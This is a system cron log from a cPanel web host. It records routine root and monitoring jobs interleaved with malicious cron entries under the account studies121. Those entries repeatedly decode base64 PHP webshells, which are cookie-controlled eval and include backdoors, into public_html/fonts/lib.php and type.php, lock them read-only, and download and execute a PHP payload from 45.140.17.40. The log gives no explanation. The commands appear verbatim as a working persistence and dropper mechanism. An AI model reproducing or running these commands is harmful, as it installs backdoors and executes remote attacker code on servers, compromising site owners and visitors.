Sep  7 06:47:01 ip-184-168-122-23 CROND[10990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:47:01 ip-184-168-122-23 CROND[10989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:47:01 ip-184-168-122-23 CROND[10988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:48:01 ip-184-168-122-23 CROND[11091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:48:01 ip-184-168-122-23 CROND[11089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:48:01 ip-184-168-122-23 CROND[11090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:48:01 ip-184-168-122-23 CROND[11096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:48:01 ip-184-168-122-23 CROND[11097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:49:02 ip-184-168-122-23 CROND[11232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:49:02 ip-184-168-122-23 CROND[11231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:49:02 ip-184-168-122-23 CROND[11234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:49:02 ip-184-168-122-23 CROND[11235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:50:01 ip-184-168-122-23 CROND[11359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:50:01 ip-184-168-122-23 CROND[11360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:50:01 ip-184-168-122-23 CROND[11361]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 06:50:01 ip-184-168-122-23 CROND[11363]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:50:01 ip-184-168-122-23 CROND[11364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:50:01 ip-184-168-122-23 CROND[11366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:50:01 ip-184-168-122-23 CROND[11370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:50:01 ip-184-168-122-23 CROND[11367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:50:01 ip-184-168-122-23 CROND[11368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:51:01 ip-184-168-122-23 CROND[11529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:51:01 ip-184-168-122-23 CROND[11531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:51:01 ip-184-168-122-23 CROND[11532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:51:01 ip-184-168-122-23 CROND[11533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:52:01 ip-184-168-122-23 CROND[11630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:52:01 ip-184-168-122-23 CROND[11631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:52:01 ip-184-168-122-23 CROND[11634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:52:01 ip-184-168-122-23 CROND[11637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:52:01 ip-184-168-122-23 CROND[11640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:53:01 ip-184-168-122-23 CROND[11817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:53:01 ip-184-168-122-23 CROND[11819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:53:01 ip-184-168-122-23 CROND[11821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:53:01 ip-184-168-122-23 CROND[11820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:54:01 ip-184-168-122-23 CROND[11921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:54:01 ip-184-168-122-23 CROND[11925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:54:01 ip-184-168-122-23 CROND[11926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:54:01 ip-184-168-122-23 CROND[11924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:54:01 ip-184-168-122-23 CROND[11923]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:55:02 ip-184-168-122-23 CROND[12104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:55:02 ip-184-168-122-23 CROND[12105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:55:02 ip-184-168-122-23 CROND[12106]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:55:02 ip-184-168-122-23 CROND[12107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:55:02 ip-184-168-122-23 CROND[12109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:55:02 ip-184-168-122-23 CROND[12110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:56:01 ip-184-168-122-23 CROND[12262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:56:01 ip-184-168-122-23 CROND[12266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:56:01 ip-184-168-122-23 CROND[12264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:56:01 ip-184-168-122-23 CROND[12265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:56:01 ip-184-168-122-23 CROND[12268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:57:01 ip-184-168-122-23 CROND[12381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:57:01 ip-184-168-122-23 CROND[12383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:57:01 ip-184-168-122-23 CROND[12382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:57:01 ip-184-168-122-23 CROND[12384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:58:01 ip-184-168-122-23 CROND[12605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:58:01 ip-184-168-122-23 CROND[12609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:58:01 ip-184-168-122-23 CROND[12607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:58:01 ip-184-168-122-23 CROND[12608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:58:01 ip-184-168-122-23 CROND[12610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:59:01 ip-184-168-122-23 CROND[12736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:59:01 ip-184-168-122-23 CROND[12739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:59:01 ip-184-168-122-23 CROND[12742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
